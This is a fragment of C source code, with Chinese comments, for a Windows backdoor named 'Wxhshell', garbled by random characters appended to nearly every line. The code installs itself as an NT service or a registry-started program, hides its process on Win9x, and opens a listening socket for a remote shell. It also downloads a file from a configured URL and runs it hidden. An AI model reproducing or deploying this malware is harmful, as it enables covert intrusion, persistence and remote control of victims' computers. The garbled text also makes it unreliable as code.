DWORD AffinityMask; o` e~1
DWORD BasePriority; vjHbg#0 %
ULONG UniqueProcessId; 9DIG K\
ULONG InheritedFromUniqueProcessId; nP}/#Wy
} PROCESS_BASIC_INFORMATION; 7l?=$q>k"
U}UIbJD*=
PROCNTQSIP NtQueryInformationProcess; 9`xq3EL2T
m+o>`1>a
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m_pK'jc
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 69_c,(M0
*@O;IiSE
HANDLE hProcess; V@$B>HeK
PROCESS_BASIC_INFORMATION pbi; pPIH`Iq
YXmLd'F^3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C ZJW`c/
if(NULL == hInst ) return 0;
"dA"N$
C4b3ZcD2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;N)qNiJY
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;$W|FpR2
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l!`m}$
*{XbC\j
if (!NtQueryInformationProcess) return 0; f1Rm9``
>:Rc%ILym
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xEbcF+@
if(!hProcess) return 0; \;Ii(3+v;
r=s7be
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]E,
T@X!vCjf6
CloseHandle(hProcess); SV-pS>#
4O2O0\o:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qp{{OjD
if(hProcess==NULL) return 0; !)ee{CwNc
PE3l2kr
HMODULE hMod; uZi]$/ic
char procName[255]; S?;&vs9j
unsigned long cbNeeded; &g|-3)A
!5pnl0D K*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $n!saPpxS
]5B5J
CloseHandle(hProcess); YMC*<wXN
TN(1oJ:
if(strstr(procName,"services")) return 1; // 以服务启动 %b0..Zz
?PLf+S
return 0; // 注册表启动 nT9B?P>
} YS%HZFY, "
Wcw$
Zv
// 主模块 NEJxd%-
int StartWxhshell(LPSTR lpCmdLine) mm'Pe4*
{ Wfz&:J#
SOCKET wsl; E\ 5t&jZr
BOOL val=TRUE; Ac|IBXGa=
int port=0; ^ola5w D
struct sockaddr_in door; 3Jf_3c
{|bf`
if(wscfg.ws_autoins) Install(); m onqaSF
.e~17}Ka}
port=atoi(lpCmdLine); ]:8:|*w
<x *.M"6?
if(port<=0) port=wscfg.ws_port; FQ26(.
5L'X3g
WSADATA data; =a$7OV.
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QJ\
o"c
fczId"
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6=0"3%jn@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HM/2/
/
door.sin_family = AF_INET; #41~`vq3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &Rdg07e;>
door.sin_port = htons(port); DY/xBwIF
~7IXJeon
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uS`XWn<CSD
closesocket(wsl); Bf1,(^3XH
return 1; * G!C 'w\$
} Nk*d=vj
B+:/!_
if(listen(wsl,2) == INVALID_SOCKET) { V{+'(<SV
closesocket(wsl); LVP2jTz
return 1; 7u73v+9qn:
} P|%uB'|H
Wxhshell(wsl); 0A9llE
WSACleanup(); G<:_O-cPSv
%? -E)n[
return 0; iq*]CF
Mtq\xF,/+
} =z#6mSx|W
}@6ws/5
// 以NT服务方式启动 wX<w)@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AQ+MjS,
{ !1(*D*31
DWORD status = 0; |I \&r[J
DWORD specificError = 0xfffffff; x#
M MrV&M
GYH{_Fq
serviceStatus.dwServiceType = SERVICE_WIN32; ;&7dX^oH
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7W[+e&
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @%iZT4`Ejf
serviceStatus.dwWin32ExitCode = 0; ,6VY S\a3
serviceStatus.dwServiceSpecificExitCode = 0; o0ky]9
P
serviceStatus.dwCheckPoint = 0; 4Ys\<\~d
serviceStatus.dwWaitHint = 0; CZZwBt$P
gI~B _0x
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "xWrYq'"
if (hServiceStatusHandle==0) return; F-R5Ib-F*A
R?62gH
status = GetLastError(); V_\9t8
if (status!=NO_ERROR) pSa
pF)1>
{ d)>b/0CZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; wF=?EK(;P{
serviceStatus.dwCheckPoint = 0; +-X
68`
serviceStatus.dwWaitHint = 0; wE~&Y?^
serviceStatus.dwWin32ExitCode = status; R1C}S
serviceStatus.dwServiceSpecificExitCode = specificError; Q6PaT@gs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z1}@N/>>
return; RE0ud_q2
} l"zwH
o'EJ,8
serviceStatus.dwCurrentState = SERVICE_RUNNING; jWL%*dJrN
serviceStatus.dwCheckPoint = 0; H|)F-aL[
serviceStatus.dwWaitHint = 0; *Z8qd{.$q
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N?EeT}m _
} O2qy[]km
kk>z,A4
h_
// 处理NT服务事件,比如:启动、停止 ^]5^p9Jt"e
VOID WINAPI NTServiceHandler(DWORD fdwControl) &K*Kr=9N
{ -{XDQ{z<%
switch(fdwControl) &>f]
{ cY^'Cj
case SERVICE_CONTROL_STOP: :u]QEZ@@
serviceStatus.dwWin32ExitCode = 0; M ]Hf>7p
serviceStatus.dwCurrentState = SERVICE_STOPPED; G\z5Ue*
serviceStatus.dwCheckPoint = 0; B ({g|}|G+
serviceStatus.dwWaitHint = 0; "c.@4#/_
{ !o`riQLs>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B3|G&Kg
} 4L bll%[9
return; I@oSRB
case SERVICE_CONTROL_PAUSE: )DGJr/)
serviceStatus.dwCurrentState = SERVICE_PAUSED; oFb~|>d
break; F%f)oq`B
case SERVICE_CONTROL_CONTINUE: 3#?53s
serviceStatus.dwCurrentState = SERVICE_RUNNING; $0gGRCCG;
break; pAws{3(Q
case SERVICE_CONTROL_INTERROGATE: -^Qm_lN
break; 8VtRRtl
}; /|8rVYSs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y P,>vzW
} 9;Q|"
T
U.WXh(`%
// 标准应用程序主函数 Gs\D`|3=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (tyky&$!
{ )5NWUuH 5
Z~w2m6;s
// 获取操作系统版本 Vr@tSc&
OsIsNt=GetOsVer(); S,EL=3},=
GetModuleFileName(NULL,ExeFile,MAX_PATH); :p%#U$S4
6L;]5)#
// 从命令行安装 &2Ef:RZF
if(strpbrk(lpCmdLine,"iI")) Install(); "Zy:q'`o
M0g=gmau
// 下载执行文件 _K&Hiz/'
if(wscfg.ws_downexe) { q6ZewuV.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B<ncOe
WinExec(wscfg.ws_filenam,SW_HIDE); MsZx 0]
} Dlpmm2
XS
#u/!
if(!OsIsNt) { O c.fvP^ZD
// 如果时win9x,隐藏进程并且设置为注册表启动 Qea"49R
HideProc(); eY-h<K)y
StartWxhshell(lpCmdLine); @lq)L
} 8#\|Y~P
else MsBm0r`a
if(StartFromService()) p/88mMr
// 以服务方式启动 ?pcbso
StartServiceCtrlDispatcher(DispatchTable); 93Zij<bH?e
else RO|8NC<oj
// 普通方式启动 y Z[=Y
StartWxhshell(lpCmdLine); [V>s]c<4`o
Qwt0~9n(
return 0; alB'l
}